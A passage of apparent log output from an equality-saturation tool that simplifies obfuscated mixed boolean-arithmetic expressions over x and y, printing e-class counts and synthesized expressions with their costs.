x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))+((((-0x3399e33c88a2571)-((((-0x3399e33c88a2571)-((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((-0x3399e33c88a2571)-(((((((((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((((-0x3399e33c88a2571)-((((-0x3399e33c88a2571)-((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))
====================================================================================================
eclasses #: 238
Synthesized (cost = 893): (((((0xfcc661cc3775da8f-((((0x2*(((0xfcc661cc3775da8f-((((((((((((((y-(x&y))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*(((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-((((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((y-x)|(~(x*y)))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+(((0x9843f8ec5cf1ad46-((0xfcc661cc3775da8f-((((((((((((((y-(x&y))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*(((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-((((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((y-x)|(~(x*y)))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*0x9e3de1dbaff27723))|((~x)|y))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)-((((0xfcc661cc3775da8f-((((((((((((((y-(x&y))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*(((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-((((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((y-x)|(~(x*y)))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))+(((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b)))+0x6f57b7f04844afe)+(((((0xfcc661cc3775da8f-((((((((((((((y-(x&y))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*(((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-((((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((y-x)|(~(x*y)))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*0xc3843c48a01b11ba)+0x3087f1d8b9e35a8d)|(~((x^y)-(y-x))))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d)*0x9e3de1dbaff27723)-0x9843f8ec5cf1ad47)
====================================================================================================
eclasses #: 529
Synthesized (cost = 781): ((((0xb3397e1b3ee70a7+(-((0x2*((0x777ba9677f44b1a+(-((((((((((((0x1562b19480fce116*(y-(x&y)))+0x3bbdd4b3bfa258d)-(((0xab158ca407e708b+(y*0xab158ca407e708b))+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((-((~(y+0x9843f8ec5cf1ad47))-(~(x&y))))*((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b)))-(((0xe6d36157c789618+(y*0xab158ca407e708b))+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((0x1562b19480fce116*((y-x)|(~(x*y))))+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d)))+(((0x9843f8ec5cf1ad46-((0xfcc661cc3775da8f-((((((((((((0x1562b19480fce116*(y-(x&y)))+0x3bbdd4b3bfa258d)-(((0xab158ca407e708b+(y*0xab158ca407e708b))+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0xf90a8480fb7bb502+(y*0xab158ca407e708b)